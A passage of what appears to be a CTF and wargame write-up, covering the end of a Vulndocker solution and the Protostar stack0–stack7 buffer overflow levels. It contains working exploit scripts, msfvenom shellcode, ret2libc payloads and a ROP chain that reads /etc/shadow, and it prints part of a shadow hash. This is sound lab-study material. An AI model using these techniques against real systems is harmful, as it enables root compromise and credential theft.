drwx------   4 root root  4096 Aug 22 14:19 root
drwxr-xr-x  19 root root   700 Nov  1 10:26 run
drwxr-xr-x   2 root root  4096 Aug 16 17:04 sbin
drwxr-xr-x   2 root root  4096 Apr 16  2014 srv
dr-xr-xr-x  13 root root     0 Nov  1 10:26 sys
drwxrwxrwt   2 root root  4096 Nov  1 10:30 tmp
drwxr-xr-x  10 root root  4096 Aug 14 08:02 usr
drwxr-xr-x  12 root root  4096 Aug 14 08:12 var
lrwxrwxrwx   1 root root    31 Aug 16 08:30 vmlinuz -> boot/vmlinuz-3.13.0-128-generic

Since when running nmap revealed that the host is also making use of SSH, having the host root directory mapped, it’s only a matter of generating a key and logging in to get root on the compromised host:

1
2
3
4
root@vulndocker:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulndocker:/# head -n1 /flag_3
d867a73c70770e73b65e6949dd074285dfdee80a8db333a7528390f6

Protostar Stack

stack0

Nice refresher with regards to the volatile type qualifier. It is needed to prevent the compiler from optimizing it away, given that it’s “always” set to zero (it might remove the if condition altogether). This is specially true for signal handlers:

1
2
3
4
5
6
7
8
9
10
11
sig_atomic_t    quit = 0;  /* Needs volatile! */

void
sigterm(int sig)
{
  quit = 1;
}

while (quit != 0) { /* This might be transformed to while (true). */
  ...
}

Given that the buffer is 64 bytes in size and the stack layout, writing one more will copy one over modified:

H +-------------+
  | ...         |
  | modified    |
  | buffer[64]  |   /* Being power of two means that it's aligned. */
  | ...         |
L +-------------+

To trigger the condition, the following command can be issued:

1
2
$ python -c 'print "1" * 65'|./stack0
you have changed the 'modified' variable

stack1

Like the above, given that the address of modified is four bytes above the buffer and (like the exercise says) by taking into account that this is a little endian platform (i386):

1
2
3
4
$ ./stack1 `python -c 'print "A" * 64 + "\x64\x63\x62\x61"'`  # or,
you have correctly got the variable to the right value
$ ./stack1 `python -c 'print "A" * 64 + "dcba"'`
you have correctly got the variable to the right value

stack2

The same as the last one but with an environment variable:

1
2
$ env GREENIE="`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d"'`" ./stack2
you have correctly modified the variable

stack3

Disassembling, like the exercise says, with objdump and retrieving the address of the win() function yields the expected results:

1
2
$ objdump -d stack3|grep win
08048424 <win>:
1
2
3
$ python -c 'print "A" * 64 + "\x24\x84\x04\x08"'|./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

A poor man’s fuzzer can be used to guess the EIP address (and while at it, to take advantage of the redirect operator in gdb, like the exercise says):

1
2
3
$ python -c 'print "A" * offset + "B" * 4' >/tmp/dump
$ gdb ./stack4
(gdb) r </tmp/dump

The offset should be incremented until (76) the program crashes with a segfault in the 0x42424242 address. Now that EIP is under control, the above can be used to obtain the address of win:

1
2
$ objdump -d stack4|grep win
080483f4 <win>:
1
2
3
$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"'|./stack4
code flow successfully changed
Segmentation fault

The padding, like the exercise says, is added by the compiler.

stack5

This was kind of tricky, since the stack isn’t in the same place inside and outside GDB. The environment and the arguments vector (ie argv) must be the same.

First, brute-forced the number of bytes needed to overwrite EIP (76 in this case) and obtained the address of the stack with GDB:

$ python -c 'print "A" * 76 + "B" * 4 + "C" * 32' >/tmp/boom
$ env - TERM=xterm PWD=$PWD gdb /opt/protostar/bin/stack5
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
TERM=xterm
PWD=/tmp
(gdb) r </tmp/boom
(gdb) info registers
(gdb) x/x $esp
0xbffffe30: 0x43434343

Generated the shellcode with:

1
2
3
4
5
6
7
8
# msfvenom -p linux/x86/exec -f py -a x86 --platform linux CMD=/bin/sh
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

As for the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

from struct import pack

off = 76
esp = pack("<L", 0xbffffe30)

buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

payload = "A" * off
payload += esp
payload += buf

print payload

Then, ensure that the environment is the same as the above (without changing directories due to $PWD):

1
2
3
4
5
$ (python /tmp/boom.py; cat)|   \
  env - TERM=xterm PWD=$PWD     \
  /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

stack6

With the usual methodology, it was noticed that EIP is under control when overwriting at least eighty characters. The traditional ret2libc with the system function and faking a stack frame works as expected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python

from struct import pack

off = 80
sys = pack("<L", 0xb7ecffb0)    # system(3)
sh = pack("<L", 0xbfffffb8)     # /bin/sh

payload = "A" * off
payload += sys
payload += "FAKE"
payload += sh

print payload

The /bin/sh address might need the usual guessing and setting a regular environment inside and outside GDB:

1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                   \
  env - SHELL=/bin/sh TERM=xterm PWD=$PWD       \
  /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAA��AKE����
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

As for the ROP one, I’ve opted by using a rather pointless open(2), read(2), write(2) and finally system(3) chain to play around a little. The gadgets addresses can be obtained by using objdump. Jumping to the middle of a multiple pop sequence might be needed and that’s okay.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python

from struct import pack

off = 80

# int open(const char *, int);
openaddr = pack("<L", 0xb7f537a0)
pop2 = pack("<L", 0x08048452)
openpath = pack("<L", 0xbfffffd6)       # SHADOW variable.
openflgs = pack("<L", 0x0)              # O_RDONLY

# ssize_t read(int, void *, size_t);
readaddr = pack("<L", 0xb7f53c00)
pop3 = pack("<L", 0x08048576)
readfd = pack("<L", 0x3)                # Only the standard ones are open.
readbuf = pack("<L", 0xbffff73c)        # getpath() buffer.
readcnt = pack("<L", 0x40)              # 64 bytes.

# ssize_t write(int, const void *, size_t);
writeaddr = pack("<L", 0xb7f53c70)
writefd = pack("<L", 0x2)               # stderr is unbuffered.
writebuf = readbuf
writecnt = readcnt

# int system(const char *);
sysaddr = pack("<L", 0xb7ecffb0)
pointless = "FAKE"
syscmd = pack("<L", 0xbfffffc7)         # SHELL variable.

payload = "A" * off
payload += openaddr + pop2 + openpath + openflgs
payload += readaddr + pop3 + readfd + readbuf + readcnt
payload += writeaddr + pop3 + writefd + writebuf + writecnt
payload += sysaddr + pointless + syscmd

print payload

Beware that the environment inherited from the parent may play tricks due to not being the same. Executing it through a clean environment all the time, such as the one below, solves this kind of issues:

1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                                  \
  env - TERM=xterm PWD=$PWD SHELL=/bin/sh SHADOW=/etc/shadow   \
  /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�7��AAAAAAAAAAAA�7��R��
root:$6$gOA4/iAf$EMw.4yshZLZxjlf./VmnEVQ20QsEmdzZa73csPGYGG6KC.rid
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

The stack with the above ROP will look like:

H +---------------------+
  | ret (the variable)  |
  | buffer [0x41 * 80]  | <= 0xbffff73c
  | open(2)             | <= 0xb7f537a0
  | POP POP RET         | <= 0x08048452
  | /etc/shadow         | <= SHADOW variable.
  | openflgs            | <= O_RDONLY
  | read(2)             | <= 0xb7f53c00
  | POP POP POP RET     | <= 0x08048576
  | 0x3                 |
  | buffer              | <= 0xbffff73c
  | 0x40                |
  | write(2)            | <= 0xb7f53c70
  | POP POP POP RET     | <= 0x08048576
  | 0x2                 |
  | buffer              | <= 0xbffff73c
  | 0x40                |
  | system(3)           | <= 0xb7ecffb0
  | FAKE                |
  | /bin/sh             | <= SHELL variable.
L +---------------------+

stack7

Like the one above, this also places restrictions in the address that we are allowed to jump to. Therefore, like the exercise says we need to bypass this restriction by returning to a text section.

Decided with a straight ret opcode one, that pops the last value from the stack and updates EIP to that address (the system(3) function).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

from struct import pack

off = 80
ret = pack("<L", 0x080484c2)    # the ret instruction (frame_dummy)
sys = pack("<L", 0xb7ecffb0)    # system(3)
sh = pack("<L", 0xbfffffbd)     # /bin/sh

payload = "A" * off
payload += ret
payload += sys
payload += "FAKE"
payload += sh

print payload
1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                   \
  env - TERM=xterm PWD=$PWD SHELL=/bin/sh       \
  /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AKE��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)